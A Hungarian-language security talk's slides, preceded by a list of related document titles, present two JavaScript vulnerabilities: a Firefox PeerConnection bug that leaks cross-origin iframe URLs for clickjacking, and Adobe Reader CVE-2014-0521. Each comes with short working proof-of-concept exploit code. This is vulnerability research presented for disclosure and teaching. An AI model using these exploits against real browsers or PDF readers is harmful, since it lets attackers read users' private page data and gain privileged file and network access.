JavaScript bűvésztrükkök, avagy PDF olvasó és böngésző hackelés

Hasonló dokumentumok
XSS férgek és vírusok

Adatbázisok elleni fenyegetések rendszerezése. Fleiner Rita BMF/NIK Robothadviselés 2009

Az Educatio weboldalain elhelyezhető hirdetések technikai paraméterei

WEBFEJLESZTÉS 2. ADATBÁZIS-KEZELÉS, OSZTÁLYOK

Osztályok. 4. gyakorlat

MicroSigner Közvetítő Szerver fejlesztői dokumentáció

SZERVER OLDALI JAVASCRIPT. 3. hét Javascript nyelvi elemek

ISA szimulátor objektum-orientált modell (C++)

API tervezése mobil környezetbe. gyakorlat

Symfony kurzus 2014/2015 I. félév. Security: authentication, authorization, user provider, role-ok, access control, FOS user bundle

Pál László. Sapientia EMTE, Csíkszereda, 2014/2015

Pénzügyi algoritmusok

Objektum Orientált Programozás. 11. Kivételkezelés 44/1B IT MAN

Bevezetés a programozásba Előadás: Objektumszintű és osztályszintű elemek, hibakezelés

Imperatív programozás

Programozási nyelvek Java

Bevezetés Működési elv AJAX keretrendszerek AJAX

MicroSigner Közvetítő Szerver fejlesztői dokumentáció

Tartalom DCOM. Történeti áttekintés. Történeti áttekintés. Történeti áttekintés. Történeti áttekintés

Mobil SEO Kell-e külön foglalkozni a mobil jelenlétünk kereső optimalizálásával? Adam Lunczner Digital Director

Szabadkai Műszaki Szakfőiskola. Web programozás. dr Zlatko Čović

1. Bevezető. 2. Sérülékenységek

Tartalom. A JavaScript haladó lehet ségei. Megjelenés. Viselkedés. Progresszív fejlesztés. A progresszív fejlesztés alapelvei

Objective-C PPKE-ITK

COMET webalkalmazás fejlesztés. Tóth Ádám Jasmin Media Group

Dr. Pál László, Sapientia EMTE, Csíkszereda WEB PROGRAMOZÁS 6.ELŐADÁS. Fájlkezelés PHP-ben

Osztályok. construct () destruct() $b=new Book(); $b=null; unset ($b); book.php: <?php class Book { private $isbn; public $title;

Két tűz között. statikus site generátorok és javascript alkalmazások és a Drupal

C#, OOP. Osztályok tervezése C#-ban

AJAX Framework építés. Nagy Attila Gábor Wildom Kft.

"Egységes erdélyi felnőttképzés Kárpát-medencei hálózatban" JAVA ALAPÚ WEBPROGRAMOZÁS. M6 Modul: A DOM Modell

Kivételek kezelése (exception handling) Hibakezelés old style. Kivételkezelés

Powershell 2. gyakorlat

A szerzõrõl... xi Bevezetés... xiii

Az Oracle Fusion szakértői szemmel

Készítette: Gál Tamás. A tananyag programozott változata itt érhető el: Webfejlesztés

Pick Pack Pont kereső és boltválasztó alkalmazás

Imperatív programozás

MicroSigner Közvetítő Szerver fejlesztői dokumentáció

NONPROFIT ÉRDEKVÉDELMI SZERVEZETEK FEJLESZTÉSE (PL.3346) Java-script nyelv. programozás alapjai. Haramia László

Bánsághi Anna

Az image objektum. Az image eseménykezel i. Képek el zetes betöltése. Feladat. Váltóképek készítése

JAVA webes alkalmazások

Szathmáry László Debreceni Egyetem Informatikai Kar

Felhasználó által definiált adattípus

Az osztályok csomagokba vannak rendezve, minden csomag tetszőleges. Könyvtárhierarhiát fed: Pl.: java/util/scanner.java

SZÁMÍTÓGÉPES ADATBÁZIS-KEZELÉS. A MySQL adatbáziskezelő PHP folytatás JDBC, ODBC

Flex: csak rugalmasan!

Debreceni Egyetem Matematikai és Informatikai Intézet. 13. Védelem

PHP II. WEB technológiák. Tóth Zsolt. Miskolci Egyetem. Tóth Zsolt (Miskolci Egyetem) PHP II / 19

Szerző. Varga Péter ETR azonosító: VAPQAAI.ELTE cím: Név: Kurzuskód:

The banking Trojan Zeus. Készítette: Nagy Attila

Memória játék. Felhasználói dokumentáció

ECDL Információ és kommunikáció

Az alábbi kód egy JSON objektumot definiál, amiből az adtokat JavaScript segítségével a weboldal tartalmába ágyazzuk.

OOP: Java 8.Gy: Abstract osztályok, interfészek

SZERVER OLDALI JAVASCRIPT. 7. hét Promise, async, error rst callback, grunt

Kivételkezelés a C++ nyelvben Bevezetés

Webes alkalmazások fejlesztése 8. előadás. Webszolgáltatások megvalósítása (ASP.NET WebAPI)

Sérülékenység kezelés. Komli József project manager PTA CERT-Hungary Központ

Programozási nyelvek II.: JAVA, 4. gyakorlat

Tartalomjegyzék. Weboldalüzemeltetői praktikák... 1 Átlag weboldal... 1 Wordpress praktikák... 2

Tili-Toli játék. Felhasználói dokumentáció

List<String> l1 = new ArrayList<String>(); List<Object> l2 = l1; // error

Konkurens TCP Szerver

Pénzügyi algoritmusok

JUnit. JUnit használata. IDE támogatás. Parancssori használat. Teszt készítése. Teszt készítése

Java és web programozás

Concurrency in Swing

Eseményvezérelt alkalmazások fejlesztése II 12. előadás. Objektumrelációs adatkezelés (ADO.NET) Giachetta Roberto

Silent Signal Kft. Webáruházak informatikai biztonsága Veres-Szentkirályi András Marketingtorta - 4 1

A CAPICOM ActiveX komponens telepítésének és használatának leírása Windows7 operációs rendszer és Internet Explorer 8-es verziójú böngésző esetén

Utolsó módosítás:

Globális operátor overloading

Cukorkakeményítés. Megerősítő védelmek kliens oldali támadásokkal szemben

Programozási nyelvek Java

Programozás II. 2. Dr. Iványi Péter

Kivételkezelés, beágyazott osztályok. Nyolcadik gyakorlat

Informatika terméktervezőknek

OOP és UML Áttekintés

Java-ról Kotlinra. Ekler Péter AutSoft BME AUT. AutSoft

Java IX. telkezelés a Java-ban

JavaScript Web AppBuilder használata

Sakk játék. Feladat: JavaScript segítségével olyan programot kell írni, ami egy sakktáblát szimulál. Kiválasztásra változtatják a helyüket.

Írásjogtól Rootig AIX-on

BME MOGI Gépészeti informatika 4.

WEBFEJLESZTÉS 2. ADATTÁROLÁS, FÁJLOK

Webapp (in)security. Gyakori hibákról és azok kivédéséről fejlesztőknek és üzemeltetőknek egyaránt. Veres-Szentkirályi András

Java IX. telkezelés a Java-ban

C# nyelv alapjai. Krizsán Zoltán 1. Objektumorientált programozás C# alapokon tananyag. Általános Informatikai Tanszék Miskolci Egyetem

GDPR az EU Általános Adatvédelmi Rendelete - minden vállalkozás életét érintő jogszabály -

MDAC - Microsoft Data Access Components

12.óra jquery Framework #1. Gyimesi Ákos

Segédanyag: Java alkalmazások gyakorlat

Drupal biztonság. Tuesday, April 3, 12

Utolsó módosítás:

A JavaScript főbb tulajdonságai

Szoftvergyártás: gyártásvezérlés kód-figyeléssel

Java Programozás 11. Ea: MVC modell

Útmutató az integrációhoz

Átírás:

JavaScript bűvésztrükkök, avagy PDF olvasó és böngésző hackelés

Bemutatkozás Molnár Gábor Ukatemi Technologies IT biztonsági szakértő gmolnar@ukatemi.com

Áttekintés JavaScript Firefox JS sebezhetőség Adober Reader JS sebezhetőség

JavaScript GitHub #1 nyelv Privilegziált JS - Firefox 40%-a - Adobe Reader: 20000 sor Memória korrupciós hibák helyett - Cél priv. JS futtatása priv. műveletek végeztetése - Platformfüggetlen - Új hibatípusok Viszonylag keveset kutatott

JS gyorstalpaló Objektum, getter, setter var x = { a: 5, b: 6 }; x. definegetter ('c', function() { // Nem std!! return this.a*2; }); x. definesetter ('c', function(v) { this.a = v/2; }) x.a = 10; alert(x.c); // -> 20 x.c = 84; alert(x.a); // -> 42

Firefox JS sebezhetőségek Bugzilla #924329, #928415 Még javítatlan - Helyette hasonló, javított bug a FF26-ban Objektumok sztringgé alakítása - Jogosultság nélkül - Pl. Clickjacking kiegészítésére

Clickjacking I. Iframe - Weboldal beágyazása weboldalba Clickjacking - Támadó weboldalán - Átlátszó iframe - Felhasználó kattint iframe-ben kattint - Formok elküldése, stb.

DEMO

Clickjacking II. Formok elküldése - Email törlése - Szavazás Védekezés: X-Frame-Options HTTP header Iframe URL olvasása - Közösségi oldalon Felhasználói név Barátok listája Csevegések listája - Banki/e-kereskedelmi tranzakciók listája

URL olvasása Iframe.location objektum: { } href: http://www..., tostring: function() { } return this.href;

URL olvasása Same Origin vs. Not Same Origin var L = window.iframe1.contentwindow.location; alert(l.href); OK alert(l); OK alert(string(l)); OK console.log(l.href); OK console.log("%s", L); OK alert(l.href); Permission denied alert(l); Permission denied alert(string(l)); Permission denied console.log(l.href); Permission denied console.log("%s", L); OK

Firefox Binding típusok

A sebezhető kód 1 PeerConnection.prototype.createOffer = 2 function(onsuccess, onerror, constraints) { 3 var opt = constraints.optional; 4 if (opt) 5 for (var i=0; i<opt.length; i+=1) 6 if (!isobject(opt[i])) 7 throw new Error( 8 "malformed constraint: " + opt[i] 9 ); 10 }

A sebezhetőség kihasználása opt[i] legyen a location objektum hibaüzenet De if (!isobject(opt[i]))... Ötlet: opt[i] legyen property! - Értéke először nem objektum - Másodjára location

URL olvasása A sebezhetőség kihasználásával 1 var optional = { length: 1 }; 2 var second = false; 3 optional. definegetter ('0', function() { 4 return second? L : (second = true); 5 }); 6 var pc = new PeerConnection(); 7 var nop = function() {}; 8 try { 9 pc.createoffer(nop, nop, { optional: optional }); 10 } catch (e) { 11 alert(e.message.slice(72); 12 }

DEMO

Adobe Reader JavaScript PDF szkripteléshez APIk - Formok kitöltése, küldése - 3D grafika Privilegizált JS kód - API implementációk JS-ben - Privilegizált APIk! - Automatizálás Fájl olvasás HTTP - Aláírással több API

Privilégium rendszer Az inicializáció privilegizált módban fut Trusted függvények - app.trustedfunction(f)-el megjelölt fv-ek - Hívhat privilegizált APIkat app.beginpriv() és app.endpriv() között TrustPropagator függvények - Ha a hívó trusted, akkor ez is

Cél Legyen function f() { } trusted! Egy trusted függvény csinálja ezt: app.beginpriv(); app.trustedfunction(f); Utána f() hívhat priv. APIkat!

CVE-2014-0521 1 DynamicAnnotStore = app.trustedfunction( 2 function (doc, user, settings) { 3 this.doc = doc; 4 this.user = user; 5 //... 6 } 7 ) Legitim használat: var x = new DynamicAnnotStore(doc, {}, {});

Mi a hiba? 1. A this egy implicit 0. argumentum, kontrollálható! 2. this.x = y; - Ha az x property, akkor ez a setter megívását jelenti - this.x_setter(y); 3. Legyen - this.doc setter == app.beginpriv - this.user setter == app.trustedfunction - user == f

Exploit 5 sorban var t = {}; t. definesetter ('doc', app.beginpriv); t. definesetter ('user', app.trustedfunction); t. proto = app; DynamicAnnotStore.call(/*this*/t,/*doc*/null,/*user*/f); Az eredeti kódsorok, és ami valójában történik: this.doc = doc -> app.beginpriv.call(t, null) this.user = user -> app.trustedfunction.call(t, f)

DEMO

Összefoglalás Adobe Reader - Fájl olvasás, hálózat elérés Firefox - Iframe URL olvasás Clickjacking kiegészítés JS alapú sebezhetőségek - Cross platform - Megbízható - Egyszerűbb kihasználás - Korlátozott hatás - Kevesett kutatott téma

Köszönöm a figyelmet!